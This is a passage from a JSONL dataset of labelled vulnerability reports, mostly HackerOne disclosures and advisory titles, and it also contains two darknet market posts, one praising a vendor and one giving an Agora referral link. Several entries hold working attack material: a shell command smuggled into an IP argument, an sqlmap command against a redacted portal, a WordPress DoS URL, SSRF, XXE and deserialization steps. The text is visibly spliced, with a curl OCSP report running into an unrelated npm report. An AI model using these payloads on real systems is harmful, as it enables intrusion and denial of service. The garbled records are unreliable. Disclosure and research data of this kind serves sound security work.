0x486CD6D: Curl_getaddrinfo_ex (curl_addrinfo.c:124)\n==43481== by 0x4861FE0: getaddrinfo_thread (asyn-thread.c:307)\n==43481== by 0x4872148: curl_thread_create_thunk (curl_threads.c:57)\n==43481== by 0x4842B1A: ??? (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_helgrind-amd64-linux.so)\n==43481== by 0x4ED6608: start_thread (pthread_create.c:477)\n==43481== by 0x4A76292: clone (clone.S:95)\n==43481== Address 0x8325de8 is in the Text segment of /usr/lib/x86_64-linux-gnu/libresolv-2.31.so\n==43481== at 0x8325DE8: ns_name_pton (ns_name.c:160)\n\n\n\nWill also see some of the calls falling, sometimes. Not every time though. Issues might vary based on number of cores/threads present or allocated to the test system. For this testing using a VirtualBox VM with 3 vCPUs running up to date Ubuntu 20.04.\n\n\nI received the following errors over various runs with the helgrind tool. Usually the initial few logged output lines will report some failure, rarely do the later output logged lines show failures. Some examples of errors received over various runs:\n\nR: 16 - Error in the HTTP2 framing layer \nR: 16 - Error in the HTTP2 framing layer \nR: 35 - SSL connect error \n\nR: 52 - Server returned nothing (no headers, no data) \n\nR: 55 - Failed sending data to the peer \n\n\n$ valgrind --version\nvalgrind-3.15.0\n\n\nWhen not running under helgrind the 10-at-a-time binary usually runs without issues, but sometimes one will randomly fail, which might be normal sometimes, but appears to validate that this is a real problem and not only revealed with libcurl used under helgrind.\n\nR: 35 - SSL connect error \n\n\nHave not tried c-ares library. Would you find it useful if I did?\n\n\nNot clear if the problem is with libcurl or with the libc library implementing getaddrinfo().\n\n## Impact\n\n- Failure to connect to target system.\n- Connecting to wrong IP if DNS data corrupted, potentially disclosing sensitive data to wrong site.\n\n\nMitigation:\n- Limit parallel DNS usage.\n- Potentially c-ares library may not have this issue, but this is not verified.", "source": "hackerone", "timestamp": "2020-11-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8985e45dd336ffe305e9", "text": "[Open Redirect] Open redirect at https://inventory.upserve.com/http://google.com/\n\nThe following URL is vulnerable to an open redirect (it will redirect to stanko.sh):\n\nhttps://inventory.upserve.com/http://stanko.sh/\n\n## Impact\n\nUsers could get redirected to malicious domain.", "source": "hackerone", "timestamp": "2019-06-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8cdadf0b7dcbe8b8b76f", "text": "Mirkov always has the highest quality gear, and his operation is like a well oiled machine. Top vendor, top swag!! Cheers Mirkov. @jojo i think Ive more than 1 post !!", "source": "evolution", "timestamp": "2015-01-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3b133619e01fa00456c8", "text": "Ricon Industrial Cellular Router S9922XL Remote Command Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-07-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "cea7f708a85d8c15f474", "text": "[XML External Entities (XXE)] XXE in DoD website that may lead to RCE\n\n**Summary:**\nXXE in https://█████\n\n**Description:**\nA malicious user can modify an XML-based request to include XML content that is then parsed locally.\n\n## Impact\nAn attacker can use an XML external entity vulnerability to send specially crafted unauthorized XML requests, which will be processed by the XML parser. The attacker can use an XML external entity vulnerability for getting unauthorised access to the OS file system.\n\n## PoC\n\n```\nPOST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1\nHost: https://███\nContent-type: text/xml\nContent-Length: 50\n\n\n```", "source": "hackerone", "timestamp": "2019-10-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d29fbe9545e32e261548", "text": "CMSLogik 1.2.1 Multiple Persistent XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-04-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "097ada41cd97c419b9d4", "text": "Google SketchUp Pro 7.0 (.skp file) Remote Stack Overflow PoC\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2009-08-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c0c3262db311302ecfcb", "text": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 (pre-auth) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2020-08-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bc6e1e2f77d61bf326c9", "text": "Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-08-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "26829396601cf1868cb2", "text": "ZKTeco ZKAccess Security System 5.3.1 Stored XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-08-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "07de45db01eca5b54454", "text": "Andromeda Streaming MP3 Server v1.9.3.6 (s param) Remote XSS Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2012-05-09", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "129c5deb54ed77b14728", "text": "[Memory Corruption - Generic] Adobe Flash Player Race Condition Vulnerability\n\nAdobe Flash Player is prone to a race condition vulnerability which leads to Use After Free. \nCOM Object will be initialized twice and uninitialized when the count number decrement to zero by the main thread. As we could force the second initialization being called by a Worker thread, the uninitialization will come ahead of time. Instuctions afterwards that are accessing the DLL (related to the COM Object) will lead to a Use-After-Free.\n\nIdentified as CVE-2015-3103:\nhttps://helpx.adobe.com/security/products/flash-player/apsb15-11.html", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5271e466eb71d7d27be7", "text": "[Improper Certificate Validation] CVE-2020-8286: Inferior OCSP verification\n\ncURL (in /lib/vtls/openssl.c) does not check that the certificate serial number in the stapled OCSP response matches the serial number of the certificate it is trying to validate (the peer certificate). This results in a passed validity challenge even when connecting to a site that has had its certificate revoked.\n An example program showing the vulnerability and a suggested patch are included.\n\nEXAMPLE: \n1. Identify a site with a revoked certificate. (https://revoked.grc.com) \n2. Obtain a valid OCSP response for a site signed by the same issuer as \n the revoked site. (https://www.grc.com). See \n https://akshayranganath.github.io/OCSP-Validation-With-Openssl/ for a \n how-to. Use the ocsp option 'respout' to obtain the DER encoded OCSP \n response. \n Certificates for www.grc.com are provided. Use the following \n command to obtain an OCSP response for the example certificates: \n $ openssl ocsp -issuer grc_chain.pem -cert grc_cert.pem -text -url http://ocsp.digicert.com -respout grc_ocsp_resp.der \n3. See the OCSP behavior without replacing the OCSP response: \n $ ./curl_ocsp_vuln_test https://revoked.grc.com \n Curl Error: SSL server certificate status verification FAILED \n Curl correctly fails. \n4. See the OCSP behavior when replacing the OCSP response with that \n from www.grc.com: \n $ ./curl_ocsp_vuln_test https://revoked.grc.com --replace_ocsp grc_ocsp_resp.der \n Module for integration of Samsung SmartTV with your NodeJS application. Tested with Samsung D6000 TV.\n>Inspired by this topic http://forum.samygo.tv/viewtopic.php?f=12&t=1792\n\n## Module Stats\n\n24 downloads in the last day\n217 downloads in the last week\n1024 downloads in the last month\n\n# Vulnerability\n\n## Vulnerability Description\n\nsamsung-remote does not sanitize the IP address argument, and subsequently passes it to child_process.exec(), thus allowing arbitrary shell command injection. It is not unlikely that some systems using this package will pass a user-controlled IP address to the function, thus inadvertently allowing arbitrary code execution by the user.\n\n## Steps To Reproduce:\n\n1. Install samsung-remote: `npm install samsung-remote --save`.\n2. Create the following `index.js`file:\n\n```\nvar remote = new SamsungRemote({\n ip: '127.0.0.1; touch /tmp/malicious;' \n});\n\nremote.isAlive(function(err) {});\n```\n3. Execute `node index.js`\n4. Check that the injected command was executed: `ls /tmp/`\n\n## Patch\n\nCommand execution happens [here](https://github.com/natalan/samsung-remote/blob/bf7e68d78dddfb534d7ef6c501d0af5e4d32e788/lib/samsung-remote.js#L103):\n\n`return exec(\"ping -c 1 \" + config.ip, function (error, stdout, stderr) {`\n\n`exec` could be replaced by `execFile`, which would force developers to separate the command and its arguments.\n\n## Supporting Material/References:\n\n- Operating system: Debian GNU/Linux 9.5 (stretch)\n- Node.js v8.11.3\n- npm v5.6.0\n\n# Wrap up\n\n\n- I contacted the maintainer to let them know: N\n- I opened an issue in the related repository: N\n\n## Impact\n\nArbitrary shell command execution.", "source": "hackerone", "timestamp": "2018-09-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "93aed6caed6001c03e81", "text": "[Resource Injection] H1-5411 CTF Write-up by erbbysam and ziot\n\n@erbbysam and I recently set out to beat the latest CTF challenge hosted by HackerOne. Here is a write-up with the process we took from start to finish.\n\nThe h1-5411 CTF begins with a tweet from HackerOne:\n * https://twitter.com/Hacker0x01/status/1044974142150373378\n\n{F351665}\n\nThis leads to a website called the HackerOne Meme Generator:\n * https://h1-5411.h1ctf.com/\n\nThe website allows you to select a meme template, top text, and bottom text. This generates a meme saved to your session that is either an image or txt file.\n\n{F351664}\n\n***Generating a Meme***\n\nThe POST request looks like the following:\n\n```\nPOST /api/generate.php HTTP/1.1\nHost: h1-5411.h1ctf.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://h1-5411.h1ctf.com/generate.php\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 63\nCookie: PHPSESSID=qpvh9cil4heghbjdq6cp4vfbgs\nConnection: close\n\ntemplate=template4.txt&type=text&top-text=test&bottom-text=test\n```\n\nThe template parameter sets a filename to use as part of the meme generation process.\n\n{F351666}\n\nAs you may guess, the template variable is vulnerable to Local-File Read (LFR). As long as you set it to a txt template, you can specify any arbitrary file on the system and fetch its’ file contents. Here’s an example of fetching PHP source code:\n\n{F351667}\n\nHere you can see the source code when viewing your saved memes:\n\n{F351668}\n\nAfter enumerating from index.php to all the files inside of each file include(), we eventually have the source code for the entire application. The next step is to figure out what other vulnerabilities exist in the app.\n\nIn the ***/includes/classes.php*** file the first thing that stands out is that they are intentionally disabling XXE protection.\n\n{F351669}\n\nThat means the DOMDocument->loadXML() is vulnerable to external entities/DTDs and would allow us to execute malicious XXE payloads. The question from here is, how do we set ConfigFile class’s config_raw variable.\n\nFrom the ***/includes/header.php*** file, there are two interesting files that you cannot discover without the LFR vulnerability.\n\n * /import_memes_2.0.php\n * /export_memes_2.0.php\n\nEach one sends a POST request to files of the same name in the /api/ directory.\n\n***/api/import_memes_2.0.php***\n\n```\n\n```\n\n***/api/export_memes_2.0.php***\n\n```\n\n```\n\nWith the import API script, we are able to specify input into unserialize() with file upload POST requests. The uploaded unserialized data gets merged into $_SESSION[“memes”] where all of your memes are saved.\n\nNow that we knew we could create PHP objects via unserialize (object injection) and knowing that there is an XXE in the ConfigFile class, we had to figure out how to put it all together.\n\nThe ConfigClass has a magic method function __toString() that will get called any time the class is initialized and treated as a string. That usually means whenever the variable that has the class assigned to is echo, print, print_r, etc.\n\n```\n function __toString() {\n $this->parse();\n $debug = \"\";\n $debug .= \"Debug Info :\\n\";\n $debug .= \"TopText => {$this->top_text}\\n\";\n $debug .= \"BottomText => {$this->bottom_text}\\n\";\n $debug .= \"Template Location => {$this->template}\\n\";\n $debug .= \"Template Type => {$this->type}\\n\";\n return $debug;\n }\n```\n\nWe’ll talk about how ", "source": "hackerone", "timestamp": "2018-10-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "233cfec5d781c2440f6f", "text": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Unauthenticated Config Download\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-09-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b90da6ebc15f3597750d", "text": "[Agora] OFFICAL AGORA REFERRAL LINK FOR NEW USERS HERE --- REGISTER TO AGORA HERE\n\nhttp://agorahooawayyfoe.onion/register/B3RuMTqvzm", "source": "gayanku", "timestamp": "2014-09-05", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2aa83db36cc6fb5f9150", "text": "Manx cms.xml 1.0.1 Multiple HTTP Response Splitting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-11-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0303af23d391503cb376", "text": "[Information Exposure Through Debug Information] System Error Reveals Sensitive SQL Call Data\n\n**Summary:**\nIf you attempt to login at https://███.mil/sso/LoginRequest.do using a very long username, the application will respond showing a stack trace information with sensitive SQL data call information. This reveals too much information about SQL calls to the database. Please see the attached PoC video. \n\n**Description:**\nLogin at https://██████████.mil/sso/LoginRequest.do using a very long username and the application will respond showing a stack trace information with sensitive SQL data call information.\n\n## Step-by-step Reproduction Instructions\n\n(1) Go to https://██████.mil/sso/LoginRequest.do\n(2) Enter in any username and password and Intercept the request with Burp Suite.\n(3) Generate a long string of characters such as 100,000 characters and enter that into the \"username\" field and send the request. \n(4) Observe the stack trace error and observe the following information below showing sensitive SQL data:\nInternal Exception: java.sql.SQLException: ORA-01460: unimplemented or unreasonable conversion requested\nError Code: 1460\n██████████\n\n████████\n\n█████████\n\n## Suggested Mitigation/Remediation Actions:\nRemove any mention of the SQL database calls in the stack trace error. \n\n##References:\nhttps://owasp.org/www-community/Improper_Error_Handling\n\n## Impact\n\nAttacker can use the error messages to gain further knowledge of the SQL system to launch future attacks.", "source": "hackerone", "timestamp": "2021-01-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d36204c5e679e3f4001e", "text": "[Code Injection] pngcrush_measure_idat() off-by-one error (CVE-2015-2158)\n\nThis is an off-by-one error in the \"pngcrush_measure_idat()\" function in pngcrush.c, introduced by commit http://sourceforge.net/p/pmt/code/ci/e1a36a9639e2db16494d90459c7c2b78677a20bf/ in version 1.7.83.\r\n\r\nThe code in pngcrush.c line 7405:\r\nif (length < 28)\r\n for (ib=27; ib >= length; ib--) \r\n buff[ib] = 0;\r\n\r\nIf length is 0, the last iteration will set \"ib\" to -1, thus buff[ib] = 0; will write outside of the \"buff\" buffer.\r\n\r\nAttackers could potentially exploit this issue to execute arbitrary code in the context of the user running the affected applications. Failed exploit attempts will likely cause a denial-of-service condition. This issue was fixed in version 1.7.84 by commit http://sourceforge.net/p/pmt/code/ci/a1ce646d00a400fd9ec321ab5cb522f40b7bdfe6/. \r\n\r\nI reported this to the project maintainer on February 27th 2015 via email, he reported it fixed on February 28th 2015.", "source": "hackerone", "timestamp": "2019-10-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6ec95a5fe23757436612", "text": "Snowfox CMS v1.0 CSRF Add Admin Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2014-11-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a2cd8e577565745a9758", "text": "Ovidentia 7.9.4 Multiple Remote Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-08-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "140042cb8d64cd1334c0", "text": "MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-12-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5b27d33f2159627b8727", "text": "Microweber v1.0.3 Stored XSS And CSRF Add Admin Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-08-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "855fe95c9fc97e000951", "text": "Pixelpost 1.7.3 Multiple Persistent Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-02-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "49d6851848d593ccfdb2", "text": "[SQL Injection] Time Based SQL injection in url parameter\n\nThere is possibility of inducing some time delay in the \"url\" parameter of the videos.websummit.com using the Benchmark() and SQL queries, which could result in timeout for application upon huge delay induced into the application .", "source": "hackerone", "timestamp": "2016-06-27", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6d866c2876a78f3afa76", "text": "WampServer <= 2.2c (lang) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-02-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c46a2c5d7262a1b555b8", "text": "Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit\n\nSeverity: low", "source": "zeroscience", "timestamp": "2012-03-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e009ba0da619a9c03e6b", "text": "[Cross-site Scripting (XSS) - Generic] stored xss in transaction\n\n1. Open wallet settings and remove maxlength=\"30\" from wallet name input\r\n2. Change name to something like this asdf'\">\r\n3. Go to \"Send bitcoin\" and make inbound transfer from one wallet to another with description: desc\r\n4. Submit form\r\n5. After submit we got xss both in \"from account\" name and \"to account\" name\r\n6. Go to transaction history https://wallet.robocoin.com/account/6428d1d8-c499-46ab-8587-74260d898f34\r\n7. Open single transaction details and we got xss in \"from account\" name, \"to account\" name and description.\r\n\"To Robocoin wallet\" feature has the same fields \"from account\" and description and may be also affected. If you approve my second account white.hat.audit@gmail.com i will test it. And i think that this issue may affect admin panel.", "source": "hackerone", "timestamp": "2015-04-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0271eb34caa89185e3d5", "text": "BEWARD Intercom 2.3.1 Credentials Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-01-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0efa8e99b80261150bba", "text": "[Server-Side Request Forgery (SSRF)] Abusing URL Parsers by long schema name\n\n## Summary:\nThere is known technique to exploit inconsistency of URL parser and URL requester logic to perform Server Side Request Forgery attack. Firstly it was presented by Orange Tsai at [A New Era Of SSRF Exploiting URL Parser](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf). Firstly I found the familiar issue at old versions of curl, but exploit did not seems works at latest releases. But now I'm ready to share new exploit of issue.\n\n## Steps To Reproduce:\nSchema parser logic of curl library is vulnerable to \"Abusing URL Parsers\". Malicious user can use this weakness to bypass whitelist protection and perform Server Side Request Forgery against targets, that use vulnerable version of library.\n\n 1. curl \"ssrf3.twowaysyncapp.tk://google.com\" Protocol \"ssrf3.twowaysyncapp.tk\" not supported or disabled in libcurl\n 1. curl \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.twowaysyncapp.tk://google.com\" Host aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.twowaysyncapp.tk requested\n\n## Supporting Material/References:\nDetails about attack presented at https://btlfry.gitlab.io/owasp/#/21 The main difference at new version of library subdomain name should be much longer.\n\n * F1102530\n\n## Impact\n\nIncorrect schema parser logic will allow malicious user to bypass protection mechanism and get access to the internal infrastructure of affected web servers.", "source": "hackerone", "timestamp": "2021-01-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d10e7e709138412476bc", "text": "[SQL Injection] SQL Injection vulnerability located at ████████\n\n**Summary:**\nI have found a SQL Injection at ███████ in the ████ Portal.\n\n**Description:**\nThe SQL injection is being caused by the unsanitized parameter of `_itemID=` i immediately stopped testing when i verified it was possible to get the Current user and version of the Database.\n\n1.The vulnerable url is : \n`https://█████/███Portal/█████?_██████=true&_st=&_pageLabel=█████████_███████_pubview_page&CCD_itemID=201826*` \n2. use sqlmap (https://github.com/sqlmapproject/sqlmap) with the following command \n\n```python\npython sqlmap.py -u \"https://██████/████████Portal/██████████?_█████=true&_st=&_pageLabel=███_██████_pubview_page&CCD_itemID=201826*\" --random-agent --current-user --is-dba\n```\nsqlmap output : \n```\n---\nParameter: #1* (URI)\n Type: boolean-based blind\n Title: AND boolean-based blind - WHERE or HAVING clause\n Payload: https://███████:443/███████Portal/████?_███=true&_st=&_pageLabel=███_█████_pubview_page&CCD_itemID=201826 AND 2833=2833\n\n Type: UNION query\n Title: Generic UNION query (NULL) - 2 columns\n Payload: https://██████████:443/████Portal/██████████?_███=true&_st=&_pageLabel=███_██████████_pubview_page&CCD_itemID=201826 UNION ALL SELECT NULL,CONCAT(CONCAT('qvzxq','ODiUngdWPubxHGXaEEDvfcozGjVAMxIqpHmWfTVJ'),'qbbxq') FROM VERSIONS-- AQYh\n---\n[22:37:56] [INFO] testing SAP MaxDB\n[22:37:57] [WARNING] the back-end DBMS is not SAP MaxDB\n[22:37:57] [INFO] testing MySQL\n[22:37:58] [WARNING] the back-end DBMS is not MySQL\n[22:37:58] [INFO] testing Oracle\n[22:37:59] [INFO] confirming Oracle\n[22:38:01] [INFO] the back-end DBMS is Oracle\nweb application technology: Apache, Servlet 2.5, JSP, JSP 2.1\nback-end DBMS: Oracle\n[22:38:01] [INFO] fetching current user\ncurrent user: ██████████\n[22:38:02] [INFO] testing if current user is DBA\ncurrent user is DBA: True\n```\n\n##Screenshot\n\n{F322498}\n\n## Suggested Mitigation/Remediation Actions\nSanitize the parameter of `_itemID=` through the use of prepared statements, or other forms of sanitizing.\n\n## Impact\n\nIt could be possible for an attacker to Retrieve data, and depending of the data being stored in the database(passwords) it could be possible to further pivot, and get RCE since the current user in the database has DBA rights.", "source": "hackerone", "timestamp": "2019-08-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fe1dcf951a139a1a6963", "text": "[Improper Access Control - Generic] Group search with Elastic search enable leaks unrelated data\n\n### Summary\n\nPerforming a group search when Elastic Search is enabled provides access to unrelated merge requests, issues activity, leaking the existence of private groups, plus their activity and MRs.\nThis happens both on the GUI and with the APIs \n\n### Steps to reproduce\n\nLet's take this search on the Gitlab group: https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=merge_requests&repository_ref=&search=%21435&group_id=9970\n\nIf you go at the end of the page, you see 5 MRs from other groups that should be private - I have no idea what are those projects - I have no relation to them, and I have no access to the group they belong to! (See attached screenshot).\n\nA lot more data can be retrieved through the APIs, now revealing existence of groups/projects I shouldn't know they exist!\n\nI haven't fully understand the logic of the issue, but basically every combination of ! followed by numbers (I had hits with !709, !999) leaks MRs from other groups.\n\nWhile on the UI doesn't show much info, the APIs retrieve a lot of data.\n\nIt also leaks private activity on public issues.\n\nIf you search for `nextbit`, [link](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=notes&repository_ref=&search=nextbit&group_id=9970), you see that my main account has linked a private issue to a public issue. The activity should be private, and indeed it is not reported inside the issue itself, but it is reported in the search.\n\n### Impact\n\nLeaking existence of private groups, private issues activity, private MRs, with lot of metadata\n\n## Impact\n\nLeak of private MRs with metadata, activity of private issues, leak existence of private groups", "source": "hackerone", "timestamp": "2019-12-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fe8ed8d190563480bba0", "text": "Longjing Technology BEMS API 1.21 Remote Arbitrary File Download\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-07-28", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3397dd6fa807095f22ec", "text": "FLIR Systems FLIR Thermal Camera F/FC/PT/D Hard-Coded SSH Credentials\n\nSeverity: high", "source": "zeroscience", "timestamp": "2017-09-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "527d576e2ea0616a0ef5", "text": "[Unknown] Dos https://iandunn.name/ via CVE-2018-6389 exploitation\n\nSimilar to #752010\n\nDetail:-\nThere is possibility in /wp-admin/load-scripts.php script to generate large (~3Mb) amount of data via simple non-authenticated request to server.\nThe vulnerability is registered as https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389\n\nDetailed attack scenario is described for example here: https://baraktawily.blogspot.ru/2018/02/how-to-dos-29-of-world-wide-websites.html\nI have an Apache JMeter script which is able to simulate necessary loading for your site (can be provided to you if necessary)\n\nvuln url:- \n\n````\nhttps://iandunn.name///wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n````\n\nAs no rate-limiting is setup for this URL - then DoS comes real.\n\nVariants to fix issue\nchange default \"admin\" directory name (Security through obscurity)\nor apply some password protection to /wp-admin/ url\nor apply some rate-limiting (but DDoS is still possible)\n\nOther possible Fix\nhttps://github.com/Jetserver/CVE-2018-6389-FIX\n\n## Impact\n\nDoS of the site and application server", "source": "hackerone", "timestamp": "2020-01-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a244ae2a46981dfcb3b5", "text": "Adobe Photoshop CS4 Extended 11.0 ABR File Handling Remote Buffer Overflow PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-05-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ae741ab47218828d5ec2", "text": "[Unknown] CVE-2021-22876: Automatic referer leaks credentials\n\n## Summary:\nWhen using the `--referer ';auto'` feature the current URL is copied as-is to the referrer header of the subsequent request. The recommendation [1] is to strip these (along with the URL fragment). I can imagine this may, in rare cases, result in unwanted/unexpected disclosure of credentials (e.g. them appearing in 3rd party web server logs), though the overall chances seem low (also considering that ';auto', by hunch, is likely not a widely used curl feature).\n\n[1] https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer#directives\n\n## Steps To Reproduce:\n```\n$ curl -svLe ';auto' 'https://user:pass@curl.haxx.se#frag' 2>&1 >/dev/null | grep -i Referer:\n```\n\n## Supporting Material/References:\n```\n$ curl -V \ncurl 7.64.1 (x86_64-apple-darwin19.0) libcurl/7.64.1 (SecureTransport) LibreSSL/2.8.3 zlib/1.2.11 nghttp2/1.39.2\nRelease-Date: 2019-03-27\nProtocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp \nFeatures: AsynchDNS GSS-API HTTP2 HTTPS-proxy IPv6 Kerberos Largefile libz MultiSSL NTLM NTLM_WB SPNEGO SSL UnixSockets\n```\n\n## Patch that fixes it\n```diff\ndiff --git a/lib/transfer.c b/lib/transfer.c\nindex c3b2d11a2..f63aadbaf 100644\n--- a/lib/transfer.c\n+++ b/lib/transfer.c\n@@ -1567,6 +1567,9 @@ CURLcode Curl_follow(struct Curl_easy *data,\n data->state.followlocation++; /* count location-followers */\n \n if(data->set.http_auto_referer) {\n+ CURLU *h;\n+ char *url;\n+\n /* We are asked to automatically set the previous URL as the referer\n when we get the next URL. We pick the ->url field, which may or may\n not be 100% correct */\n@@ -1576,7 +1579,40 @@ CURLcode Curl_follow(struct Curl_easy *data,\n data->change.referer_alloc = FALSE;\n }\n \n- data->change.referer = strdup(data->change.url);\n+ /* Make a copy of the URL without the crenditals and fragment */\n+ h = curl_url();\n+ if(!h)\n+ return CURLE_OUT_OF_MEMORY;\n+\n+ uc = curl_url_set(h, CURLUPART_URL, data->change.url, 0);\n+ if(uc) {\n+ curl_url_cleanup(h);\n+ return CURLE_OUT_OF_MEMORY;\n+ }\n+ uc = curl_url_set(h, CURLUPART_FRAGMENT, NULL, 0);\n+ if(uc) {\n+ curl_url_cleanup(h);\n+ return CURLE_OUT_OF_MEMORY;\n+ }\n+ uc = curl_url_set(h, CURLUPART_USER, NULL, 0);\n+ if(uc) {\n+ 